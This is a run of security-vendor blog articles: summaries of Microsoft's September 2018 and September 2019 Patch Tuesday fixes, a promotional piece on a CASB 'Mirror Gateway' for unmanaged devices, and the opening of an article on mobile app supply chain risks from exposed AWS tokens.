A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker who successfully exploited the vulnerability could run malicious code remotely to take control of the user's system. To exploit the vulnerability, an attacker could host a specially crafted website designed to invoke MSXML through a web browser.
Windows Remote Code Execution Vulnerability (CVE-2018-8475) MS Rating: Critical
A remote code execution vulnerability exists when Windows image file loading functionality does not properly handle malformed image files. An attacker who successfully exploited the vulnerability could execute arbitrary code. To exploit the vulnerability, an attacker would have to convince a user to load a malformed image file from either a webpage or an email message.
Windows SMB Denial of Service Vulnerability (CVE-2018-8335) MS Rating: Important
A denial of service vulnerability exists in the Microsoft Server Block Message (SMB) when an attacker sends specially crafted requests to the server. An attacker who exploited this vulnerability could cause the affected system to crash. To attempt to exploit this issue, an attacker would need to send specially crafted SMB requests to the target system.
Windows SMB Information Disclosure Vulnerability (CVE-2018-8444) MS Rating: Important
An information disclosure vulnerability exists in the way that the Microsoft Server Message Block 2.0 (SMBv2) server handles certain requests. An attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server. To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv2 server.
Windows Information Disclosure Vulnerability (CVE-2018-8271) MS Rating: Important
An information disclosure vulnerability exists in Windows when the Windows bowser.sys kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could potentially disclose contents of System memory. To exploit this vulnerability, an attacker would have to log on to the system first and then run a specially crafted application in user mode.
Windows Subsystem for Linux Security Feature Bypass Vulnerability (CVE-2018-8337) MS Rating: Important
A security feature bypass vulnerability exists when Windows Subsystem for Linux improperly handles case sensitivity. An attacker who successfully exploited this vulnerability could replace or delete abitrary files as a low privilege user. An attacker could exploit this vulnerability by running a specially crafted application.
Windows Registry Elevation of Privilege Vulnerability (CVE-2018-8410) MS Rating: Important
An elevation of privilege vulnerability exists when the Windows Kernel API improperly handles registry objects in memory. An attacker who successfully exploited the vulnerability could gain elevated privileges on a targeted system. A locally authenticated attacker could exploit this vulnerability by running a specially crafted application.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8424) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system. There are multiple ways an attacker could exploit the vulnerability, such as by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2018-8433) MS Rating: Important
An information disclosure vulnerability exists when the Windows Graphics component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system. An authenticated attacker could exploit this vulnerability by running a specially crafted application.
Windows ALPC Elevation of Privilege Vulnerability (CVE-2018-8440) MS Rating: Important
An elevation of privilege vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). An attacker who successfully exploited this vulnerability could run arbitrary code in the security context of the local system.
Windows Subsystem for Linux Elevation of Privilege Vulnerability (CVE-2018-8441) MS Rating: Important
An elevation of privilege vulnerability exists due to an integer overflow in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions. To exploit the vulnerability, a locally authenticated attacker could run a specially crafted application.
Device Guard Security Feature Bypass Vulnerability (CVE-2018-8449) MS Rating: Important
A security feature bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed. Because Device Guard relies on the signature to determine the file is non-malicious, Device Guard could then allow a malicious file to execute.
DirectX Graphics Kernel Elevation of Privilege Vulnerability (CVE-2018-8462) MS Rating: Important
An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Elevation of Privilege Vulnerability (CVE-2018-8468) MS Rating: Important
An elevation of privilege vulnerability exists when Windows, allowing a sandbox escape. An attacker who successfully exploited the vulnerability could use the sandbox escape to elevate privileges on an affected system.
Security Update for Microsoft Azure IoT SDK
Azure IoT SDK Spoofing Vulnerability (CVE-2018-8479) MS Rating: Important
A spoofing vulnerability exists for the Azure IoT Device Provisioning for the C SDK library using the HTTP protocol on Windows platform. An attacker who successfully exploited this vulnerability could impersonate a server used during the provisioning process. To exploit this vulnerability, an attacker would need to perform a man-in-the-middle (MitM) attack on the network that provisioning was taking place.
Security Update for Lync for Mac
Lync for Mac 2011 Security Feature Bypass Vulnerability (CVE-2018-8474) MS Rating: Important
A security bypass vulnerability exists when Lync for Mac 2011 fails to properly sanitize specially crafted messages. An attacker who successfully exploited this vulnerability could cause a targeted Lync for Mac 2011 user's system to browse to an attacker-specified website or automatically download file types on the operating system's safe file type list.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – September 2019
This month the vendor has patched 79 vulnerabilities, 18 of which are rated Critical.
This month the vendor has patched 79 vulnerabilities, 18 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the September 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Windows
Microsoft Hyper-V
Graphics Device Interface (GDI)
Jet Database Engine
Microsoft Lync Server
Azure DevOps and Team Foundation Server
Yammer for Android
Rome SDK Microsoft
Microsoft .NET
Microsoft Exchange Server
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1138) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
VBScript Remote Code Execution Vulnerability (CVE-2019-1208) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1217) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1221) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
VBScript Remote Code Execution Vulnerability (CVE-2019-1236) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1237) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1298) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1300) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Security Bypass Vulnerability (CVE-2019-1220) MS Rating: Important
A security-bypass vulnerability exists when Microsoft Browsers fail to validate the correct Security Zone of requests for specific URLs. This could allow an attacker to cause a user to access a URL in a less restricted Internet Security Zone than intended. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2019-1299) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge based on Edge HTML improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2019-1295) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint where unsafe APIs are exposed when importing data. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2019-1296) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint where unsafe APIs are exposed when importing data. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2019-1257) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1262) MS Rating: Important
A cross-site-scripting vulnerability (XSS) exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Excel Information Disclosure Vulnerability (CVE-2019-1263) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user's computer or data.
Microsoft Office Security Bypass Vulnerability (CVE-2019-1264) MS Rating: Important
A security-bypass vulnerability exists when Microsoft Office improperly handles input. An attacker who successfully exploited the vulnerability could execute arbitrary commands.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2019-1297) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2019-1260) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft SharePoint. An attacker who successfully exploited this vulnerability could attempt to impersonate another user of the SharePoint server.
Microsoft SharePoint Spoofing Vulnerability (CVE-2019-1261) MS Rating: Important
A spoofing vulnerabilty exists in Microsoft SharePoint when it improperly handles requests to authorize applications, resulting in cross-site request forgery (CSRF). To exploit this vulnerability, an attacker would need to create a page specifically designed to cause a cross-site request.
Microsoft SharePoint Spoofing Vulnerability (CVE-2019-1259) MS Rating: Moderate
A spoofing vulnerabilty exists in Microsoft SharePoint when it improperly handles requests to authorize applications, resulting in cross-site request forgery (CSRF). To exploit this vulnerability, an attacker would need to create a page specifically designed to cause a cross-site request.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Privilege Escalation Vulnerability (CVE-2019-1256) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1274) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2019-1285) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Hyper-V
Windows Hyper-V Information Disclosure Vulnerability (CVE-2019-1254) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V writes uninitialized memory to disk. An attacker could exploit the vulnerability by reading a file to recover kernel memory.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0928) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Security Update for Microsoft Graphics
Windows GDI Information Disclosure Vulnerability (CVE-2019-1252) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1286) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Graphics Components Information Disclosure Vulnerability (CVE-2019-1283) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker who successfully exploited the vulnerability could obtain information that could be useful for further exploitation.
Security Update for Microsoft Windows
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0787) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0788) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-1290) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-1291) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
LNK Remote Code Execution Vulnerability (CVE-2019-1280) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows that could allow remote code execution if a . LNK file is processed.
Windows Privilege Escalation Vulnerability (CVE-2019-1215) MS Rating: Important
A privilege escalation vulnerability exists in the way that the ws2ifsl. sys handles objects in memory.
Windows Privilege Escalation Vulnerability (CVE-2019-1253) MS Rating: Important
A privilege escalation vulnerability exists when the Windows AppX Deployment Server improperly handles junctions. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Denial of Service Vulnerability (CVE-2019-1292) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Windows Privilege Escalation Vulnerability (CVE-2019-1303) MS Rating: Important
A privilege escalation vulnerability exists when the Windows AppX Deployment Server improperly handles junctions. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Common Log File System Driver Privilege Escalation Vulnerability (CVE-2019-1214) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Transaction Manager Information Disclosure Vulnerability (CVE-2019-1219) MS Rating: Important
An information disclosure vulnerability exists when the Windows Transaction Manager improperly handles objects in memory. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows ALPC Privilege Escalation Vulnerability (CVE-2019-1269) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). An attacker who successfully exploited this vulnerability could run arbitrary code in the security context of the local system.
Windows ALPC Privilege Escalation Vulnerability (CVE-2019-1272) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). An attacker who successfully exploited this vulnerability could run arbitrary code in the security context of the local system.
Windows Common Log File System Driver Information Disclosure Vulnerability (CVE-2019-1282) MS Rating: Important
An information disclosure exists in the Windows Common Log File System (CLFS) driver when it fails to properly handle sandbox checks. An attacker who successfully exploited this vulnerability could potentially read data outside their expected limits.
Windows Text Service Framework Privilege Escalation Vulnerability (CVE-2019-1235) MS Rating: Important
A privilege escalation vulnerability exists in Windows Text Service Framework (TSF) when the TSF server process does not validate the source of input or commands it receives. An attacker who successfully exploited this vulnerability could inject commands or read input sent through a malicious Input Method Editor (IME).
Windows Secure Boot Security Bypass Vulnerability (CVE-2019-1294) MS Rating: Important
A security-bypass exists when Windows Secure Boot improperly restricts access to debugging functionality. An attacker who successfully exploited this vulnerability could disclose protected kernel memory.
Microsoft Windows Store Installer Privilege Escalation Vulnerability (CVE-2019-1270) MS Rating: Important
A privilege escalation vulnerability exists in Windows store installer where WindowsApps directory is vulnerable to symbolic link attack. An attacker who successfully exploited this vulnerability could bypass access restrictions to add or remove files.
Windows Media Privilege Escalation Vulnerability (CVE-2019-1271 MS Rating: Important
An elevation of privilege exists in hdAudio. sys which may lead to an out of band write.
Windows Audio Service Privilege Escalation Vulnerability (CVE-2019-1277) MS Rating: Important
An elevation of privilege exists in Windows Audio Service. An attacker who successfully exploited the vulnerability could run arbitrary code with elevated privileges.
DirectX Information Disclosure Vulnerability (CVE-2019-1216) MS Rating: Important
An information disclosure vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
DirectWrite Information Disclosure Vulnerability (CVE-2019-1244) MS Rating: Important
An information disclosure vulnerability exists when DirectWrite improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
DirectWrite Information Disclosure Vulnerability (CVE-2019-1245) MS Rating: Important
An information disclosure vulnerability exists when DirectWrite improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
DirectWrite Information Disclosure Vulnerability (CVE-2019-1251) MS Rating: Important
An information disclosure vulnerability exists when DirectWrite improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
DirectX Privilege Escalation Vulnerability (CVE-2019-1284) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Network Connectivity Assistant Privilege Escalation Vulnerability (CVE-2019-1287) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network Connectivity Assistant handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Update Delivery Optimization Privilege Escalation Vulnerability (CVE-2019-1289) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Update Delivery Optimization does not properly enforce file share permissions. An attacker who successfully exploited the vulnerability could overwrite files that require higher privileges than what the attacker already has.
Active Directory Federation Services XSS Vulnerability (CVE-2019-1273) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Active Directory Federation Services (ADFS) does not properly sanitize certain error messages. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected ADFS server.
Diagnostics Hub Standard Collector Service Privilege Escalation Vulnerability (CVE-2019-1232) MS Rating: Important
A privilege escalation vulnerability exists when the Diagnostics Hub Standard Collector Service improperly impersonates certain file operations. An attacker who successfully exploited this vulnerability could gain elevated privileges.
Microsoft Compatibility Appraiser Privilege Escalation Vulnerability (CVE-2019-1267) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Compatibility Appraiser where a configuration file, with local privileges, is vulnerable to symbolic hardlink attack. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Winlogon Privilege Escalation Vulnerability (CVE-2019-1268) MS Rating: Important
An elevation of privilege exists when Winlogon does not properly handle file path information. An attacker who successfully exploited this vulnerability could run arbitrary code.
Windows Privilege Escalation Vulnerability (CVE-2019-1278) MS Rating: Important
A privilege escalation vulnerability exists in the way that the unistore.dll handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions. To exploit the vulnerability, a locally authenticated attacker could run a specially crafted application.
Windows SMB Client Driver Information Disclosure Vulnerability (CVE-2019-1293) MS Rating: Important
An information disclosure vulnerability exists in Windows when the Windows SMB Client kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could potentially disclose contents of System memory.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1240) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1241) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1242) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1243) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1246) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1247) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1248) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1249) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1250) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Security Update for Exchange
Microsoft Exchange Denial of Service Vulnerability (CVE-2019-1233) MS Rating: Important
A denial of service vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could cause a remote denial of service against a system.
Microsoft Exchange Spoofing Vulnerability (CVE-2019-1266) MS Rating: Important
A spoofing vulnerability exists in Microsoft Exchange Server when Outlook Web Access (OWA) fails to properly handle web requests. An attacker who successfully exploited the vulnerability could perform script or content injection attacks, and attempt to trick the user into disclosing sensitive information.
Security Update for .NET
.NET Framework Privilege Escalation Vulnerability (CVE-2019-1142) MS Rating: Important
A privilege escalation vulnerability exists when the . NET Framework common language runtime (CLR) allows file creation in arbitrary locations.
.NET Core Denial of Service Vulnerability (CVE-2019-1301) MS Rating: Important
A denial of service vulnerability exists when . NET Core improperly handles web requests.
ASP.NET Core Privilege Escalation Vulnerability (CVE-2019-1302) MS Rating: Important
A privilege escalation vulnerability exists when a ASP. NET Core web application, created using vulnerable project templates, fails to properly sanitize web requests.
Security Update for Microsoft Lync Server
Lync 2013 Information Disclosure Vulnerability (CVE-2019-1209) MS Rating: Important
An information disclosure vulnerability exists in Lync 2013. An attacker who exploited it could read arbitrary files on the victim's machine.
Security Update for Team Foundation Server
Azure DevOps and Team Foundation Server Remote Code Execution Vulnerability (CVE-2019-1306) MS Rating: Critical
A remote code execution vulnerability exists when Azure DevOps Server (ADO) and Team Foundation Server (TFS) fail to validate input properly. An attacker who successfully exploited this vulnerability could execute code on the server in the context of the TFS or ADO service account.
Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-1305) MS Rating: Important
A Cross-site Scripting (XSS) vulnerability exists when Team Foundation Server does not properly sanitize user provided input. An authenticated attacker could exploit the vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Security Update for Yammer for Android
Microsoft Yammer Security Bypass Vulnerability (CVE-2019-1265) MS Rating: Important
A security-bypass vulnerability exists when Microsoft Yammer App for Android or iOS fails to apply the correct Intune MAM Policy. This could allow an attacker to perform functions that are restricted by Intune Policy.
Security Update for Rome SDK
Rome SDK Information Disclosure Vulnerability (CVE-2019-1231) MS Rating: Important
An Information Disclosure vulnerability exists in the way Rome SDK handles server SSL/TLS certificate validation. This vulnerability allows an unauthenticated attacker to establish connection with an invalid SSL/TLS server certificate.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Mirror, Mirror on the Wall. Who’s the Riskiest Device of All?
BYOD and the proliferation of unmanaged devices present new challenges to security managers who rely on CASB to keep data safe
Cloud applications and services are brilliant for industrious organizations or employees who want to work collaboratively to solve problems fast. They are flexible, don’t require a lot of time or effort to deploy, and less expensive than on-premises solutions. They also end up managing and containing highly sensitive, regulated, or confidential data. Cloud apps are accessible directly via a browser by users from any endpoint, including completely unmanaged and unknown personal devices. This is very convenient for the end user, but a significant security challenge for an organization.
Security over the use of apps in cloud services is typically taken care of by a Cloud Access Security Broker (CASB), which provided visibility, data security, and threat protection. The CASB governs granular access controls, applies data loss protection, detects malware, and generally keeps a security eye on users to identify compromised accounts or other high-risk activity. Until now, the CASB solutions for preventing unsafe use of cloud apps from completely unmanaged devices have been inherently limited.
The Remediation Method
The easiest way to apply CASB protection over activity originating from an unmanaged device is via API integrations. This is a great approach, but it is limited to a few popular apps with APIs which can support CASB-type services. The API model is inherently a monitoring and remediation approach; it cannot block a transaction between the user device and the cloud app.
The Real-Time Enforcement Method
Because APIs cannot cover every use case, leading CASBs also offer inline protection via gateways. Inline controls can prevent a confidential file from being downloaded, block a malware infected file from being uploaded, or prevent a high-risk user from sharing files or collaboration spaces with others. For an inline approach to work, the cloud traffic must flow through the CASB. If your end user has a managed endpoint device, there is no problem because you simply route all cloud traffic to the CASB and “Voila!” the CASB can do the job.
But what do you do when your industrious end user has an unmanaged device? BYOD planning is important - we know employees will use whatever device in whatever location is convenient to get their job done.
An Impossible Task
Traditionally, the only option available to provide inline security for traffic from unmanaged devices was to use a reverse proxy approach which required the proxy to rewrite tens of thousands of cloud app URLs to redirect traffic to flow through the CASB gateway and then out to the cloud app. In this scenario you have no visibility or control over the endpoint device, which is continually trying to connect directly to the cloud app. Additionally, the CASB vendor has no control over all the URLs maintained by all the different cloud service providers.
In this scenario, the CASB reverse proxy has to recognize and update the many micro-service specific URLs maintained by all the different cloud providers for all the apps. Unfortunately, a cloud service provider can change a URL at any time, and they have no requirement to inform all the security vendors in the world that they have made a change. If one of those URLs change and the CASB doesn’t know it, cloud transactions using that URL will not complete for the end user – resulting in a surprise downtime for that employee who’s trying to work.
The Old Limited Approach
It is so difficult to maintain a reliable reverse proxy use case that most CASBs have only offered inline control over use of unmanaged devices for a limited number of apps. What happens if you have a business-critical cloud app that isn’t in the limited list of supported services? And even if your critical cloud app is supported, the CASB may only support a few app functions – often this is limited to login, upload, and download. These are important functions when you want to protect your sensitive data in the cloud from downloading to an unknown endpoint device, or when you want to prevent malware from being uploaded into a shared collaboration space, but they do not protect from a user deleting critical files, sharing confidential data, adding people to a user group, etc.
A Mirror Gateway Solution: Any Device, Any App
Symantec has solved this long-standing CASB challenge with the patent-pending CloudSOC CASB Mirror Gateway innovation. The Mirror Gateway takes a completely new approach to delivering inline, real-time security over the use of any cloud app even, if the user has an unmanaged or BYOD device.
How It Works
Essentially, this innovation mirrors the user in the cloud. The user must complete an identity authentication in the same way they log into a sanctioned cloud app. The identity process initiates the mirror gateway, which uses web isolation technology to present a browser window to the user that appears as a local browser on the endpoint device. The user proceeds to do their work as if they were going directly to the cloud app from their local browser.
Unlike a traditional CASB reverse-proxy solution, the Mirror Gateway acts as a managed endpoint; now all the control functions of a forward-proxy CASB gateway can be easily applied to transactions with the cloud app. Because the mirror plays the role of the endpoint device, it adds another level of protection because all app data is processed and stored in web isolation, thus never reaching the endpoint unless the gateway policy explicitly allows it.
The Mirror Gateway will support more application and functions because it does not require the many URL rewrites of a traditional reverse proxy CASB implementation; all it requires is a single round of identity authentication. The Mirror Gateway supports any device because it does not require the endpoint device to be managed in any way. The Mirror Gateway can enforce granular, context-driven policies. For example, downloads of confidential data can be automatically blocked if the user has an unmanaged device, or a policy can dictate that an unmanaged device cannot access to confidential data.
In Conclusion
The Mirror Gateway is a completely new and unique way to enforce CASB protection inline. With Mirror Gateway, it doesn’t matter if your user has a managed endpoint or one of those super-risky unmanaged BYOD devices. CloudSOC CASB will be able to enforce extensive, context-driven inline cloud controls over more functions for more cloud apps than is possible by other CASB solutions.
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Mobile App Supply Chain Vulnerabilities Could Endanger Sensitive Business Information
Over three-quarters of the apps Symantec analyzed contained valid AWS access tokens that allowed access to private AWS cloud services.
Most of us, by now, have been impacted in some way by supply chain issues. An increase in the price of fuel and other items, delivery delays, and a lack of product availability are just some of the consequences of supply chain issues stemming from recent events around the world. However, in the context of software and technology infrastructure, the consequences resulting from supply chain issues are very different. Mobile apps, for example, can contain vulnerabilities introduced in the supply chain that can potentially lead to the exposure of sensitive information, which in turn could be used by threat actors for other attacks.
Mobile app supply chain vulnerabilities are often added by app developers, both knowingly and unknowingly, who are likely unaware of the downstream security impacts putting not only the app users’ privacy at risk, but sometimes putting their company and employer’s privacy and data at risk too.
The mobile app supply chain problem
Similar to the supply chain for material goods, mobile application software development undergoes a process that includes: the collection of materials, such as software libraries and software development kit (SDKs); manufacturing or developing the mobile application; and shipping the end result to the customer, often using mobile app stores.
